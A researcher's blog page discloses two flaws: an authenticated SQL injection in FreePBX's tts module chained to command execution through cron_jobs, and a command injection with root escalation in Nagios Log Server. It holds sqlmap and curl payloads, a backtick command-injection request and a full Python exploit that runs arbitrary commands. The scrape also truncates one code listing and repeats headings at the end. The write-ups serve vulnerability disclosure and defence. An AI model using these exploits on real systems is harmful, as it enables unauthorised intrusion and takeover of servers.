theyhack.me

CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE

2026-02-07T00:00:00+00:00

Overview

This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d need admin access, but it was a cool way to access a technique watchTowr blogged about to add a cron job to the freepbx database and get RCE.

Same as last time, easy reporting process through their security-reporting page.

Technical details

After authenticating to the FreePBX Administration GUI, the tts module is reachable using a request to:

http:///admin/config.php?display=tts&view=form&id=

The base page for the tts plugin when accessed through the administrative control panel is defined in page.tts.php here. The important functionality is defined on line 38 here:

if(isset($_GET['view']) && $_GET['view'] == 'form'){
	if (!empty($_GET['id']) || $action !== 'delete') {
		$tts = tts_get($_REQUEST['id'] ?? '');
		foreach ($tts as $key => $value) {
			$data[$key] = $value;
		}
	}
	show_view(__DIR__ . '/views/tts.php', $data);
}else{
	show_view(__DIR__ . '/views/grid.php', $data);
}

This loop checks for the HTTP GET request parameter view to be defined, and for it to be set to the value of form. If view=form, next the logic checks to see if the GET parameter id is set, and for $action to not be set to delete. If both of those conditions are met, the id parameter is then passed to the function tts_get(), which is defined in functions.inc.php on line 69 here:

function tts_get($p_id) {
	global $db;

	$sql = "SELECT id, name, text, goto, engine FROM tts WHERE id=$p_id";
	return $db->getRow($sql, DB_FETCHMODE_ASSOC);
}

The id value set via HTTP GET request is passed into this function via the $p_id parameter. The vulnerability is on line 72 where the $p_id parameter is formatted into a defined SQL query with no checking, escaping, parameterizing, or typing. This query is then passed to the getRow() function on the next line where it is executed against the database.

This is fairly easy to demonstrate with a simple curl request as you can see the response time increase as the SLEEP() value is increased:

$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(2)))test)' -o /dev/null

real	0m3.799s
user	0m0.006s
sys	0m0.005s
$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(5)))test)' -o /dev/null

real	0m6.840s
user	0m0.003s
sys	0m0.007s

sqlmap also discovers this easily with a command such as:

sqlmap -u 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1' -H 'Cookie: PHPSESSID=vb2f[REDACTED]2tri;' -p id --level 3 --risk 2 --dbms=mysql --banner --current-user --current-db --flush-session --fresh-queries --proxy http://127.0.0.1:8080

Chaining SQLi to Remote Code Execution

[ Disclaimer: use this stuff at your own risk. Personally, I treat anything other than `SELECT` statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]

I confirmed the attack path documented in watchTowr’s blog post also works here. You can leverage sqlmap to do this with the --sql-query functionality with a query such as this:

--sql-query="INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','rcejob','id > /tmp/rceproof',NULL,'* * * * *',30,1,1)"

I would recommend watching the cron_jobs table while you test on the server with something like:

root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'

And you should see a new row such as the following show up:

root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
| id | modulename           | jobname                           | command                                                                                                                       | class                                   | schedule     | max_runtime | enabled | execution_order |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
...Omitted...
| 42 | sysadmin             | rcejob                            | id > /tmp/rcetest                                                                                                             | NULL                                    | * * * * *    |          30 |       1 |               1 |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+

I also wrote a quick python script that handles authentication and the injection to create a cron job. Example usage:

$ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
[+] Login success!
[*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
[*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute

exploit.py source:

import requests
import sys

## Usage
# $ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
# [+] Login success!
# [*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
# [*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
cmd = sys.argv[4]

url = f"{url}/admin/config.php"

## Insert statement parameters hex encoded to avoid single quotes
modulename = 'sysadmin'.encode().hex()
jobname = 'rcejob'.encode().hex()
command = cmd.encode().hex()
schedule = '* * * * *'

## injection payload to create cron job
sqli_payload = f'1;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (0x{modulename},0x{jobname},0x{command},NULL,0x{schedule.encode().hex()},30,1,1)#'

proxies = dict.fromkeys(['http', 'https'], 'http://127.0.0.1:8080')

with requests.Session() as s:
    s.verify = False

    ## Comment out if you don't want to proxy traffic through burp/etc
    s.proxies.update(proxies)

    login_payload = {
        "username": username,
        "password": password
    }

    login_res = s.post(url, data=login_payload)

    if 'Invalid Username or Password' in login_res.text:
        print(f"[-] Invalid username or password")
        exit()
    
    print(f"[+] Login success!")
    print(f"[*] Sending SQLi payload to create cron job to execute '{cmd}'")

    params = {
        "display": "tts",
        "view": "form",
        "id": sqli_payload
    }

    sqli_res = s.get(url, params=params)
    if sqli_res.status_code == 500:
        print(f"[*] SQLi should have worked. Cron schedule is '{schedule}' so it may be a minute to execute")

Upon running the script, it may take a moment for the cron job to execute.

References:

[GitHub advisory] Authenticated SQL Injection in FreePBX tts (Text To Speech) module
- https://github.com/FreePBX/security-reporting/security/advisories/GHSA-632c-49p9-x7cw

CVE-2025-34322 and CVE-2025-34323 - Rooting Nagios Log Server with AI! Just kidding, not really… Just an AI adjacent command injection.

2025-11-25T00:00:00+00:00

Overview

I did a quick glance over Nagios Log server a couple months ago and wanted to share two vulnerabilities I reported. The authenticated command injection is kinda fun as it was in some AI functionality added in via a python script, and then the privilege escalation was due to some directory permissions that allow you to control a file that executes as root via sudo.

Authenticated Command Injection

Nagios Log Server is vulnerable to an authenticated command injection vulnerability in the Natural Language Queries experimental functionality. This functionality appears to enable various Large Language Models to assist in log file queries/interpretation. This appears to be accomplished using a python script that is invoked via shell_exec(). To enable this functionality, a selection is made within the Global Settings and, depending on which selection, various inputs are requested such as an API key, server IP/hostname, and port. These values are not checked for special characters. When leveraging the Natural Language Queries functionality via /nagioslogserver/dashboard/natural_language_to_query endpoint, these values pulled from the running configuration and leveraged in a formatted string without being escaped or checked, which is then passed to shell_exec(). This results in shell command execution as the www-data user.

Privilege escalation

The www-data user can execute various commands and scripts as root without a password. Three of these scripts are located within a directory where the www-data has write access by way of being in the nagios user group. This group has write access, therefore they can move (not modify) files owned by root and create new files within the directory. Therefore, the www-data user can move files that the www-data user has sudo execution rights as to another name (example would be mv reconfigure_ncpa.sh reconfigure_ncpa.sh.bak), and then create any arbitrary file in its place, allowing the www-data user to execute the new file containing arbitrary commands as the root user.

Technical Details

1. Authenticated Command Injection in Natural Language Queries in Nagios Log Server

The Natural Language Queries is a Experimental Features that can be located under the Global Settings section. To stay focused on the vulnerable code, we will focus on the vulnerability sink below, and then discuss from there how the settings play into this vulnerability.

To perform a query using Natural Language Queries after it is enabled, users would make the following request:

http:///nagioslogserver/dashboard/natural_language_to_query?query=doesntmatter

This can be observed in the code base as:

http:///nagioslogserver//?query=doesntmatter

Controllers are located at the following path:

/var/www/html/nagioslogserver/application/controllers/

Below, we can follow what happens when this URL is requested:

# cat /var/www/html/nagioslogserver/application/controllers/Dashboard.php -n
     1	


In the code above, the function natural_language_to_query() is invoked when http:///nagioslogserver/dashboard/natural_language_to_query is requested. We can see $input is set via an HTTP GET parameter. It is then escaped using the PHP function escapeshellarg(), therefore that is likely not going to be vulnerable to command injection, though argument injection in the generate_log_query.py is a possibility. We won’t be exploring that here though.

The exact same logic is true for the next two lines with the $current_fields parameter.

The interesting part starts with these lines of code:
   397	        $api_key = trim(get_option("ai_api_key"));
   398	        $model = trim(get_option("ai_provider"));
   399	        $self_host_ip_address = trim(get_option("self_host_ip_address"));
   400	        $self_host_port = trim(get_option("ai_port"));


After those values are pulled from the configuration using the get_option(), the $script variable is set to a python script /usr/local/nagioslogserver/scripts/generate_log_query.py.

Finally, we reach the sink. We use a self-hosted AI model self_hosted (there does not actually need to be one) which creates the following command string:
$command = "python3.9 $script --model \"$model\" --provider_address \"$self_host_ip_address\" --provider_port \"$self_host_port\" --natural_language_query \"$input\" --current_fields \"$current_fields\"";


This command string is passed to shell_exec() which executes the command.

Each of the parameters can be injected into using command substitution such as:
`id`


However, in order to inject into these parameters, we need to do so by setting configuration values in the Global Settings page. So, this exploit requires two requests:

  Set the configuration values
  Make the request to invoke the Natural Language query


The first, injecting a command into self_hosted will look like:
$ curl -isk -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=3pap795eohmorm726nsnasvsgc1as9ou' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&natural_language_query=1&nlp_disclaimer=on&ai_provider=self_hosted&self_host_ip_address=`id>/var/www/html/nagioslogserver/www/scripts/test.txt`&ai_port=8000&saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals --proxy http://127.0.0.1:8080
HTTP/1.1 200 OK
Date: Sun, 07 Sep 2025 15:53:22 GMT
Server: Apache/2.4.65 (Debian)
Set-Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; expires=Sun, 07 Sep 2025 17:53:22 GMT; Max-Age=7200; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 96046

theyhack.me

CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE

Overview

Technical details

Chaining SQLi to Remote Code Execution

[ Disclaimer: use this stuff at your own risk. Personally, I treat anything other than SELECT statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]

References:

CVE-2025-34322 and CVE-2025-34323 - Rooting Nagios Log Server with AI! Just kidding, not really… Just an AI adjacent command injection.

Overview

Authenticated Command Injection

Privilege escalation

Technical Details

1. Authenticated Command Injection in Natural Language Queries in Nagios Log Server

[ Disclaimer: use this stuff at your own risk. Personally, I treat anything other than `SELECT` statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]